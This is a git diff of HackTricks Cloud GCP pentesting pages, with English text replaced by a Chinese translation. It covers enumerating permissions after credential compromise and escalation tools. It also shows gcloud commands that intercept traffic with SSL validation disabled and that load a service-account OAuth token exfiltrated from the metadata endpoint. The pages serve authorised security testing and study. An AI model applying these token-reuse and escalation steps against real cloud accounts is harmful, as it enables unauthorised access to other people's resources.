一旦您获得了一些云凭据或已妥协某个在云中运行的服务,最常见的方法是**滥用被妥协账户可能拥有的错误配置权限**。因此,您应该做的第一件事是枚举您的权限。
|
||||
|
||||
Moreover, during this enumeration, remember that **permissions can be set at the highest level of "Organization"** as well.
|
||||
此外,在此枚举过程中,请记住**权限可以在“组织”的最高级别设置**。
|
||||
|
||||
{{#ref}}
|
||||
gcp-privilege-escalation/
|
||||
@@ -143,10 +137,10 @@ gcp-persistence/
|
||||
|
||||
### Publicly Exposed Services
|
||||
|
||||
While enumerating GCP services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
|
||||
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
|
||||
在枚举 GCP 服务时,您可能发现其中一些**向互联网暴露元素**(VM/容器端口、数据库或队列服务、快照或存储桶...)。\
|
||||
作为渗透测试者/红队成员,您应该始终检查是否可以在它们上找到**敏感信息/漏洞**,因为它们可能为您提供**进一步访问 AWS 账户**的机会。
|
||||
|
||||
In this book you should find **information** about how to find **exposed GCP services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
|
||||
在本书中,您应该找到关于如何查找**暴露的 GCP 服务以及如何检查它们**的信息。关于如何查找**暴露网络服务中的漏洞**,我建议您**搜索**特定的**服务**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/
|
||||
@@ -154,7 +148,7 @@ https://book.hacktricks.xyz/
|
||||
|
||||
## GCP <--> Workspace Pivoting
|
||||
|
||||
**Compromising** principals in **one** platform might allow an attacker to **compromise the other one**, check it in:
|
||||
**妥协**一个平台中的主体可能允许攻击者**妥协另一个平台**,请查看:
|
||||
|
||||
{{#ref}}
|
||||
gcp-to-workspace-pivoting/
|
||||
@@ -162,11 +156,10 @@ gcp-to-workspace-pivoting/
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
- In the **GCloud console**, in [https://console.cloud.google.com/iam-admin/asset-inventory/dashboard](https://console.cloud.google.com/iam-admin/asset-inventory/dashboard) you can see resources and IAMs being used by project.
|
||||
- Here you can see the assets supported by this API: [https://cloud.google.com/asset-inventory/docs/supported-asset-types](https://cloud.google.com/asset-inventory/docs/supported-asset-types)
|
||||
- Check **tools** that can be [**used in several clouds here**](../pentesting-cloud-methodology.md).
|
||||
- [**gcp_scanner**](https://github.com/google/gcp_scanner): This is a GCP resource scanner that can help determine what **level of access certain credentials posses** on GCP.
|
||||
|
||||
- 在**GCloud 控制台**中,您可以在 [https://console.cloud.google.com/iam-admin/asset-inventory/dashboard](https://console.cloud.google.com/iam-admin/asset-inventory/dashboard) 查看项目正在使用的资源和 IAM。
|
||||
- 在这里,您可以查看此 API 支持的资产: [https://cloud.google.com/asset-inventory/docs/supported-asset-types](https://cloud.google.com/asset-inventory/docs/supported-asset-types)
|
||||
- 检查可以[**在多个云中使用的工具**](../pentesting-cloud-methodology.md)。
|
||||
- [**gcp_scanner**](https://github.com/google/gcp_scanner):这是一个 GCP 资源扫描器,可以帮助确定某些凭据在 GCP 上**拥有的访问级别**。
|
||||
```bash
|
||||
# Install
|
||||
git clone https://github.com/google/gcp_scanner.git
|
||||
@@ -177,13 +170,11 @@ pip install -r requirements.txt
|
||||
# Execute with gcloud creds
|
||||
python3 __main__.py -o /tmp/output/ -g "$HOME/.config/gcloud"
|
||||
```
|
||||
|
||||
- [**gcp_enum**](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum): Bash script to enumerate a GCP environment using gcloud cli and saving the results in a file.
|
||||
- [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): Scripts to enumerate high IAM privileges and to escalate privileges in GCP abusing them (I couldn’t make run the enumerate script).
|
||||
- [**BF My GCP Permissions**](https://github.com/carlospolop/bf_my_gcp_permissions): Script to bruteforce your permissions.
|
||||
- [**gcp_enum**](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum): Bash脚本,用于使用gcloud cli枚举GCP环境并将结果保存到文件中。
|
||||
- [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): 脚本用于枚举高IAM权限并在GCP中利用它们提升权限(我无法运行枚举脚本)。
|
||||
- [**BF My GCP Permissions**](https://github.com/carlospolop/bf_my_gcp_permissions): 脚本用于暴力破解您的权限。
|
||||
|
||||
## gcloud config & debug
|
||||
|
||||
```bash
|
||||
# Login so gcloud can use your credentials
|
||||
gcloud auth login
|
||||
@@ -198,13 +189,11 @@ gcloud auth application-default print-access-token
|
||||
# Update gcloud
|
||||
gcloud components update
|
||||
```
|
||||
### 捕获 gcloud, gsutil... 网络
|
||||
|
||||
### Capture gcloud, gsutil... network
|
||||
|
||||
Remember that you can use the **parameter** **`--log-http`** with the **`gcloud`** cli to **print** the **requests** the tool is performing. If you don't want the logs to redact the token value use `gcloud config set log_http_redact_token false`
|
||||
|
||||
Moreover, to intercept the communication:
|
||||
请记住,您可以使用 **参数** **`--log-http`** 与 **`gcloud`** cli 一起 **打印** 工具正在执行的 **请求**。如果您不希望日志隐藏令牌值,请使用 `gcloud config set log_http_redact_token false`
|
||||
|
||||
此外,要拦截通信:
|
||||
```bash
|
||||
gcloud config set proxy/address 127.0.0.1
|
||||
gcloud config set proxy/port 8080
|
||||
@@ -221,11 +210,9 @@ gcloud config unset proxy/type
|
||||
gcloud config unset auth/disable_ssl_validation
|
||||
gcloud config unset core/custom_ca_certs_file
|
||||
```
|
||||
### 在 gcloud 中配置 OAuth 令牌
|
||||
|
||||
### OAuth token configure in gcloud
|
||||
|
||||
In order to **use an exfiltrated service account OAuth token from the metadata endpoint** you can just do:
|
||||
|
||||
为了**使用从元数据端点提取的服务帐户 OAuth 令牌**,您只需执行:
|
||||
```bash
|
||||
# Via env vars
|
||||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||
@@ -237,13 +224,8 @@ gcloud config set auth/access_token_file /some/path/to/token
|
||||
gcloud projects list
|
||||
gcloud config unset auth/access_token_file
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,207 +1,198 @@
|
||||
# GCP - Basic Information
|
||||
# GCP - 基本信息
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Resource hierarchy**
|
||||
## **资源层次结构**
|
||||
|
||||
Google Cloud uses a [Resource hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) that is similar, conceptually, to that of a traditional filesystem. This provides a logical parent/child workflow with specific attachment points for policies and permissions.
|
||||
|
||||
At a high level, it looks like this:
|
||||
Google Cloud 使用一个 [资源层次结构](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy),在概念上类似于传统文件系统。这提供了一个逻辑的父/子工作流程,并为策略和权限提供了特定的附加点。
|
||||
|
||||
在高层次上,它看起来像这样:
|
||||
```
|
||||
Organization
|
||||
--> Folders
|
||||
--> Projects
|
||||
--> Resources
|
||||
--> Projects
|
||||
--> Resources
|
||||
```
|
||||
|
||||
A virtual machine (called a Compute Instance) is a resource. A resource resides in a project, probably alongside other Compute Instances, storage buckets, etc.
|
||||
一个虚拟机(称为计算实例)是一个资源。资源位于一个项目中,可能与其他计算实例、存储桶等并存。
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg">https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg</a></p></figcaption></figure>
|
||||
|
||||
## **Projects Migration**
|
||||
## **项目迁移**
|
||||
|
||||
It's possible to **migrate a project without any organization** to an organization with the permissions `roles/resourcemanager.projectCreator` and `roles/resourcemanager.projectMover`. If the project is inside other organization, it's needed to contact GCP support to **move them out of the organization first**. For more info check [**this**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6).
|
||||
可以将**没有任何组织的项目迁移到一个组织**,需要的权限是`roles/resourcemanager.projectCreator`和`roles/resourcemanager.projectMover`。如果项目在其他组织内,则需要联系GCP支持以**先将其移出该组织**。有关更多信息,请查看[**此处**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6)。
|
||||
|
||||
## **Organization Policies**
|
||||
## **组织政策**
|
||||
|
||||
Allow to centralize control over your organization's cloud resources:
|
||||
允许集中控制您组织的云资源:
|
||||
|
||||
- Centralize control to **configure restrictions** on how your organization’s resources can be used.
|
||||
- Define and establish **guardrails** for your development teams to stay within compliance boundaries.
|
||||
- Help project owners and their teams move quickly without worry of breaking compliance.
|
||||
- 集中控制以**配置限制**,以规定您组织的资源如何使用。
|
||||
- 为您的开发团队定义和建立**保护措施**,以保持合规边界。
|
||||
- 帮助项目所有者及其团队快速移动,而无需担心违反合规。
|
||||
|
||||
These policies can be created to **affect the complete organization, folder(s) or project(s)**. Descendants of the targeted resource hierarchy node **inherit the organization policy**.
|
||||
这些政策可以创建以**影响整个组织、文件夹或项目**。目标资源层次节点的后代**继承组织政策**。
|
||||
|
||||
In order to **define** an organization policy, **you choose a** [**constraint**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints), which is a particular type of restriction against either a Google Cloud service or a group of Google Cloud services. You **configure that constraint with your desired restrictions**.
|
||||
为了**定义**组织政策,**您选择一个**[**约束**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints),这是针对Google Cloud服务或一组Google Cloud服务的特定类型的限制。您**使用所需的限制配置该约束**。
|
||||
|
||||
<figure><img src="../../../images/image (217).png" alt=""><figcaption><p><a href="https://cloud.google.com/resource-manager/img/org-policy-concepts.svg">https://cloud.google.com/resource-manager/img/org-policy-concepts.svg</a></p></figcaption></figure>
|
||||
|
||||
#### Common use cases <a href="#common_use_cases" id="common_use_cases"></a>
|
||||
#### 常见用例 <a href="#common_use_cases" id="common_use_cases"></a>
|
||||
|
||||
- Limit resource sharing based on domain.
|
||||
- Limit the usage of Identity and Access Management service accounts.
|
||||
- Restrict the physical location of newly created resources.
|
||||
- Disable service account creation
|
||||
- 根据域限制资源共享。
|
||||
- 限制身份和访问管理服务帐户的使用。
|
||||
- 限制新创建资源的物理位置。
|
||||
- 禁用服务帐户创建。
|
||||
|
||||
<figure><img src="../../../images/image (172).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
There are many more constraints that give you fine-grained control of your organization's resources. For **more information, see the** [**list of all Organization Policy Service constraints**](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints)**.**
|
||||
还有许多其他约束可以让您对组织的资源进行细粒度控制。有关**更多信息,请参见**[**所有组织政策服务约束的列表**](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints)**。**
|
||||
|
||||
### **Default Organization Policies**
|
||||
### **默认组织政策**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>These are the policies that Google will add by default when setting up your GCP organization:</summary>
|
||||
<summary>这些是Google在设置您的GCP组织时默认添加的政策:</summary>
|
||||
|
||||
**Access Management Policies**
|
||||
**访问管理政策**
|
||||
|
||||
- **Domain restricted contacts:** Prevents adding users to Essential Contacts outside your specified domains. This limits Essential Contacts to only allow managed user identities in your selected domains to receive platform notifications.
|
||||
- **Domain restricted sharing:** Prevents adding users to IAM policies outside your specified domains. This limits IAM policies to only allow managed user identities in your selected domains to access resources inside this organization.
|
||||
- **Public access prevention:** Prevents Cloud Storage buckets from being exposed to the public. This ensures that a developer can't configure Cloud Storage buckets to have unauthenticated internet access.
|
||||
- **Uniform bucket level access:** Prevents object-level access control lists (ACLs) in Cloud Storage buckets. This simplifies your access management by applying IAM policies consistently across all objects in Cloud Storage buckets.
|
||||
- **Require OS login:** VMs created in new projects will have OS Login enabled. This lets you manage SSH access to your instances using IAM without needing to create and manage individual SSH keys.
|
||||
- **域限制联系人:** 防止将用户添加到您指定域之外的基本联系人。这限制了基本联系人仅允许您选择的域中的受管用户身份接收平台通知。
|
||||
- **域限制共享:** 防止将用户添加到您指定域之外的IAM政策。这限制了IAM政策仅允许您选择的域中的受管用户身份访问该组织内的资源。
|
||||
- **公共访问防止:** 防止Cloud Storage存储桶暴露给公众。这确保开发人员无法配置Cloud Storage存储桶以具有未经身份验证的互联网访问。
|
||||
- **统一存储桶级别访问:** 防止Cloud Storage存储桶中的对象级访问控制列表(ACL)。这通过在Cloud Storage存储桶中的所有对象上一致地应用IAM政策来简化您的访问管理。
|
||||
- **要求操作系统登录:** 在新项目中创建的虚拟机将启用操作系统登录。这使您可以使用IAM管理对实例的SSH访问,而无需创建和管理单个SSH密钥。
|
||||
|
||||
**Additional security policies for service accounts**
|
||||
**服务帐户的额外安全政策**
|
||||
|
||||
- **Disable automatic IAM grants**: Prevents the default App Engine and Compute Engine service accounts from automatically being granted the Editor IAM role on a project at creation. This ensures service accounts don't receive overly-permissive IAM roles upon creation.
|
||||
- **Disable service account key creation**: Prevents the creation of public service account keys. This helps reduce the risk of exposing persistent credentials.
|
||||
- **Disable service account key upload**: Prevents the uploading of public service account keys. This helps reduce the risk of leaked or reused key material.
|
||||
- **禁用自动IAM授予:** 防止默认的App Engine和Compute Engine服务帐户在创建项目时自动获得编辑器IAM角色。这确保服务帐户在创建时不会获得过于宽松的IAM角色。
|
||||
- **禁用服务帐户密钥创建:** 防止创建公共服务帐户密钥。这有助于减少暴露持久凭据的风险。
|
||||
- **禁用服务帐户密钥上传:** 防止上传公共服务帐户密钥。这有助于减少泄露或重用密钥材料的风险。
|
||||
|
||||
**Secure VPC network configuration policies**
|
||||
**安全VPC网络配置政策**
|
||||
|
||||
- **Define allowed external IPs for VM instances**: Prevents the creation of Compute instances with a public IP, which can expose them to internet traffic.
|
||||
- **定义VM实例的允许外部IP:** 防止创建具有公共IP的计算实例,这可能会使其暴露于互联网流量。
|
||||
|
||||
* **Disable VM nested virtualization**: Prevents the creation of nested VMs on Compute Engine VMs. This decreases the security risk of having unmonitored nested VMs.
|
||||
* **禁用VM嵌套虚拟化:** 防止在Compute Engine虚拟机上创建嵌套虚拟机。这降低了拥有未监控嵌套虚拟机的安全风险。
|
||||
|
||||
- **Disable VM serial port:** Prevents serial port access to Compute Engine VMs. This prevents input to a server’s serial port using the Compute Engine API.
|
||||
- **禁用VM串行端口:** 防止对Compute Engine虚拟机的串行端口访问。这防止通过Compute Engine API向服务器的串行端口输入。
|
||||
|
||||
* **Restrict authorized networks on Cloud SQL instances:** Prevents public or non-internal network ranges from accessing your Cloud SQL databases.
|
||||
* **限制Cloud SQL实例上的授权网络:** 防止公共或非内部网络范围访问您的Cloud SQL数据库。
|
||||
|
||||
- **Restrict Protocol Forwarding Based on type of IP Address:** Prevents VM protocol forwarding for external IP addresses.
|
||||
- **根据IP地址类型限制协议转发:** 防止对外部IP地址的VM协议转发。
|
||||
|
||||
* **Restrict Public IP access on Cloud SQL instances:** Prevents the creation of Cloud SQL instances with a public IP, which can expose them to internet traffic.
|
||||
* **限制Cloud SQL实例上的公共IP访问:** 防止创建具有公共IP的Cloud SQL实例,这可能会使其暴露于互联网流量。
|
||||
|
||||
- **Restrict shared VPC project lien removal:** Prevents the accidental deletion of Shared VPC host projects.
|
||||
- **限制共享VPC项目留置权移除:** 防止意外删除共享VPC主项目。
|
||||
|
||||
* **Sets the internal DNS setting for new projects to Zonal DNS Only:** Prevents the use of a legacy DNS setting that has reduced service availability.
|
||||
* **将新项目的内部DNS设置为仅区域DNS:** 防止使用服务可用性降低的遗留DNS设置。
|
||||
|
||||
- **Skip default network creation:** Prevents automatic creation of the default VPC network and related resources. This avoids overly-permissive default firewall rules.
|
||||
- **跳过默认网络创建:** 防止自动创建默认VPC网络及相关资源。这避免了过于宽松的默认防火墙规则。
|
||||
|
||||
* **Disable VPC External IPv6 usage:** Prevents the creation of external IPv6 subnets, which can be exposed to unauthorized internet access.
|
||||
* **禁用VPC外部IPv6使用:** 防止创建外部IPv6子网,这可能会暴露于未经授权的互联网访问。
|
||||
|
||||
</details>
|
||||
|
||||
## **IAM Roles**
|
||||
## **IAM角色**
|
||||
|
||||
These are like IAM policies in AWS as **each role contains a set of permissions.**
|
||||
这些类似于AWS中的IAM政策,因为**每个角色包含一组权限。**
|
||||
|
||||
However, unlike in AWS, there is **no centralized repo** of roles. Instead of that, **resources give X access roles to Y principals**, and the only way to find out who has access to a resource is to use the **`get-iam-policy` method over that resource**.\
|
||||
This could be a problem because this means that the only way to find out **which permissions a principal has is to ask every resource who is it giving permissions to**, and a user might not have permissions to get permissions from all resources.
|
||||
然而,与AWS不同的是,**没有集中式的角色库**。相反,**资源将X访问角色授予Y主体**,找出谁可以访问资源的唯一方法是使用**`get-iam-policy`方法**。\
|
||||
这可能是一个问题,因为这意味着找出**主体拥有哪些权限的唯一方法是询问每个资源它授予了哪些权限**,而用户可能没有权限从所有资源获取权限。
|
||||
|
||||
There are **three types** of roles in IAM:
|
||||
IAM中有**三种类型**的角色:
|
||||
|
||||
- **Basic/Primitive roles**, which include the **Owner**, **Editor**, and **Viewer** roles that existed prior to the introduction of IAM.
|
||||
- **Predefined roles**, which provide granular access for a specific service and are managed by Google Cloud. There are a lot of predefined roles, you can **see all of them with the privileges they have** [**here**](https://cloud.google.com/iam/docs/understanding-roles#predefined_roles).
|
||||
- **Custom roles**, which provide granular access according to a user-specified list of permissions.
|
||||
- **基本/原始角色**,包括在引入IAM之前存在的**所有者**、**编辑者**和**查看者**角色。
|
||||
- **预定义角色**,为特定服务提供细粒度访问,并由Google Cloud管理。有很多预定义角色,您可以**在此处查看所有角色及其权限**[**这里**](https://cloud.google.com/iam/docs/understanding-roles#predefined_roles)。
|
||||
- **自定义角色**,根据用户指定的权限列表提供细粒度访问。
|
||||
|
||||
There are thousands of permissions in GCP. In order to check if a role has a permissions you can [**search the permission here**](https://cloud.google.com/iam/docs/permissions-reference) and see which roles have it.
|
||||
GCP中有成千上万的权限。要检查角色是否具有某个权限,您可以[**在这里搜索权限**](https://cloud.google.com/iam/docs/permissions-reference)并查看哪些角色具有该权限。
|
||||
|
||||
You can also [**search here predefined roles**](https://cloud.google.com/iam/docs/understanding-roles#product_specific_documentation) **offered by each product.** Note that some **roles** cannot be attached to users and **only to SAs because some permissions** they contain.\
|
||||
Moreover, note that **permissions** will only **take effect** if they are **attached to the relevant service.**
|
||||
您还可以[**在这里搜索预定义角色**](https://cloud.google.com/iam/docs/understanding-roles#product_specific_documentation) **由每个产品提供。** 请注意,某些**角色**不能附加到用户,只能附加到SA,因为它们包含某些权限。\
|
||||
此外,请注意,**权限**只有在**附加到相关服务时**才会**生效**。
|
||||
|
||||
Or check if a **custom role can use a** [**specific permission in here**](https://cloud.google.com/iam/docs/custom-roles-permissions-support)**.**
|
||||
或者检查**自定义角色是否可以使用**[**特定权限**](https://cloud.google.com/iam/docs/custom-roles-permissions-support)**。**
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Users <a href="#default-credentials" id="default-credentials"></a>
|
||||
## 用户 <a href="#default-credentials" id="default-credentials"></a>
|
||||
|
||||
In **GCP console** there **isn't any Users or Groups** management, that is done in **Google Workspace**. Although you could synchronize a different identity provider in Google Workspace.
|
||||
在**GCP控制台**中**没有用户或组**管理,这在**Google Workspace**中进行。尽管您可以在Google Workspace中同步不同的身份提供者。
|
||||
|
||||
You can access Workspaces **users and groups in** [**https://admin.google.com**](https://admin.google.com/).
|
||||
您可以在[**https://admin.google.com**](https://admin.google.com/)访问Workspaces的**用户和组**。
|
||||
|
||||
**MFA** can be **forced** to Workspaces users, however, an **attacker** could use a token to access GCP **via cli which won't be protected by MFA** (it will be protected by MFA only when the user logins to generate it: `gcloud auth login`).
|
||||
**MFA**可以**强制**应用于Workspaces用户,然而,**攻击者**可以使用令牌通过cli访问GCP,这**不会受到MFA保护**(只有在用户登录以生成它时才会受到MFA保护:`gcloud auth login`)。
|
||||
|
||||
## Groups
|
||||
## 组
|
||||
|
||||
When an organisation is created several groups are **strongly suggested to be created.** If you manage any of them you might have compromised all or an important part of the organization:
|
||||
创建组织时,**强烈建议创建几个组**。如果您管理其中任何一个,您可能已经危及了整个组织或其重要部分:
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>Group</strong></td><td><strong>Function</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(group or individual accounts required for checklist)</em></td><td>Administering any resource that belongs to the organization. Assign this role sparingly; org admins have access to all of your Google Cloud resources. Alternatively, because this function is highly privileged, consider using individual accounts instead of creating a group.</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(required for checklist)</em></td><td>Creating networks, subnets, firewall rules, and network devices such as Cloud Router, Cloud VPN, and cloud load balancers.</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(required for checklist)</em></td><td>Setting up billing accounts and monitoring their usage.</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(required for checklist)</em></td><td>Designing, coding, and testing applications.</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>Establishing and managing security policies for the entire organization, including access management and <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">organization constraint policies</a>. See the <a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">Google Cloud security foundations guide</a> for more information about planning your Google Cloud security infrastructure.</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>Creating or managing end-to-end pipelines that support continuous integration and delivery, monitoring, and system provisioning.</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong></td><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(no longer by default)</em></td><td>Monitoring the spend on projects. Typical members are part of the finance team.</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(no longer by default)</em></td><td>Reviewing resource information across the Google Cloud organization.</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(no longer by default)</em></td><td>Reviewing cloud security.</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(no longer by default)</em></td><td>Reviewing network configurations.</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(no longer by default)</em></td><td>Viewing audit logs.</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(no longer by default)</em></td><td>Administering Security Command Center.</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(no longer by default)</em></td><td>Managing secrets in Secret Manager.</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>组</strong></td><td><strong>功能</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(需要组或个人帐户以供检查)</em></td><td>管理属于组织的任何资源。谨慎分配此角色;组织管理员可以访问您所有的Google Cloud资源。或者,由于此功能权限很高,考虑使用个人帐户而不是创建组。</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(需要检查)</em></td><td>创建网络、子网、防火墙规则和网络设备,如Cloud Router、Cloud VPN和云负载均衡器。</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(需要检查)</em></td><td>设置计费帐户并监控其使用情况。</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(需要检查)</em></td><td>设计、编码和测试应用程序。</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>为整个组织建立和管理安全政策,包括访问管理和<a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">组织约束政策</a>。有关规划Google Cloud安全基础设施的更多信息,请参见<a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">Google Cloud安全基础指南</a>。</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>创建或管理支持持续集成和交付、监控和系统配置的端到端管道。</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong></td><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(不再默认)</em></td><td>监控项目支出。典型成员是财务团队的一部分。</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(不再默认)</em></td><td>查看Google Cloud组织中的资源信息。</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(不再默认)</em></td><td>审查云安全性。</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(不再默认)</em></td><td>审查网络配置。</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(不再默认)</em></td><td>查看审计日志。</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(不再默认)</em></td><td>管理安全指挥中心。</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(不再默认)</em></td><td>在秘密管理器中管理秘密。</td></tr></tbody></table>
|
||||
|
||||
## **Default Password Policy**
|
||||
## **默认密码政策**
|
||||
|
||||
- Enforce strong passwords
|
||||
- Between 8 and 100 characters
|
||||
- No reuse
|
||||
- No expiration
|
||||
- If people is accessing Workspace through a third party provider, these requirements aren't applied.
|
||||
- 强制使用强密码
|
||||
- 8到100个字符
|
||||
- 不得重复使用
|
||||
- 不得过期
|
||||
- 如果用户通过第三方提供商访问Workspace,则不适用这些要求。
|
||||
|
||||
<figure><img src="../../../images/image (20).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../images/image (22).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## **Service accounts**
|
||||
## **服务帐户**
|
||||
|
||||
These are the principals that **resources** can **have** **attached** and access to interact easily with GCP. For example, it's possible to access the **auth token** of a Service Account **attached to a VM** in the metadata.\
|
||||
It is possible to encounter some **conflicts** when using both **IAM and access scopes**. For example, your service account may have the IAM role of `compute.instanceAdmin` but the instance you've breached has been crippled with the scope limitation of `https://www.googleapis.com/auth/compute.readonly`. This would prevent you from making any changes using the OAuth token that's automatically assigned to your instance.
|
||||
这些是**资源**可以**附加**并访问以便与GCP轻松交互的主体。例如,可以在元数据中访问附加到虚拟机的服务帐户的**身份验证令牌**。\
|
||||
在使用**IAM和访问范围**时可能会遇到一些**冲突**。例如,您的服务帐户可能具有`compute.instanceAdmin`的IAM角色,但您入侵的实例却受到`https://www.googleapis.com/auth/compute.readonly`的范围限制。这将阻止您使用自动分配给实例的OAuth令牌进行任何更改。
|
||||
|
||||
It's similar to **IAM roles from AWS**. But not like in AWS, **any** service account can be **attached to any service** (it doesn't need to allow it via a policy).
|
||||
|
||||
Several of the service accounts that you will find are actually **automatically generated by GCP** when you start using a service, like:
|
||||
这类似于AWS中的**IAM角色**。但与AWS不同的是,**任何**服务帐户都可以**附加到任何服务**(不需要通过政策允许它)。
|
||||
|
||||
您将发现的几个服务帐户实际上是**在您开始使用服务时由GCP自动生成的**,例如:
|
||||
```
|
||||
PROJECT_NUMBER-compute@developer.gserviceaccount.com
|
||||
PROJECT_ID@appspot.gserviceaccount.com
|
||||
```
|
||||
|
||||
However, it's also possible to create and attach to resources **custom service accounts**, which will look like this:
|
||||
|
||||
然而,创建和附加到资源的 **自定义服务账户** 也是可能的,格式如下:
|
||||
```
|
||||
SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
|
||||
```
|
||||
### **密钥与令牌**
|
||||
|
||||
### **Keys & Tokens**
|
||||
有两种主要方式可以作为服务账户访问 GCP:
|
||||
|
||||
There are 2 main ways to access GCP as a service account:
|
||||
- **通过 OAuth 令牌**:这些令牌可以从元数据端点或窃取的 http 请求中获取,并且受 **访问范围** 的限制。
|
||||
- **密钥**:这些是公钥和私钥对,允许您作为服务账户签署请求,甚至生成 OAuth 令牌以作为服务账户执行操作。这些密钥是危险的,因为它们更难以限制和控制,这就是 GCP 建议不要生成它们的原因。
|
||||
- 请注意,每次创建服务账户时,**GCP 会为服务账户生成一个密钥**,用户无法访问(并且不会在 Web 应用程序中列出)。根据 [**这个帖子**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/),这个密钥是 **GCP 内部使用的**,用于让元数据端点访问生成可访问的 OAuth 令牌。
|
||||
|
||||
- **Via OAuth tokens**: These are tokens that you will get from places like metadata endpoints or stealing http requests and they are limited by the **access scopes**.
|
||||
- **Keys**: These are public and private key pairs that will allow you to sign requests as the service account and even generate OAuth tokens to perform actions as the service account. These keys are dangerous because they are more complicated to limit and control, that's why GCP recommend to not generate them.
|
||||
- Note that every-time a SA is created, **GCP generates a key for the service account** that the user cannot access (and won't be listed in the web application). According to [**this thread**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/) this key is **used internally by GCP** to give metadata endpoints access to generate the accesible OAuth tokens.
|
||||
### **访问范围**
|
||||
|
||||
### **Access scopes**
|
||||
访问范围是 **附加到生成的 OAuth 令牌** 上以访问 GCP API 端点。它们 **限制 OAuth 令牌的权限**。\
|
||||
这意味着如果一个令牌属于资源的所有者,但在令牌范围内没有访问该资源的权限,则该令牌 **无法被用来(滥用)这些权限**。
|
||||
|
||||
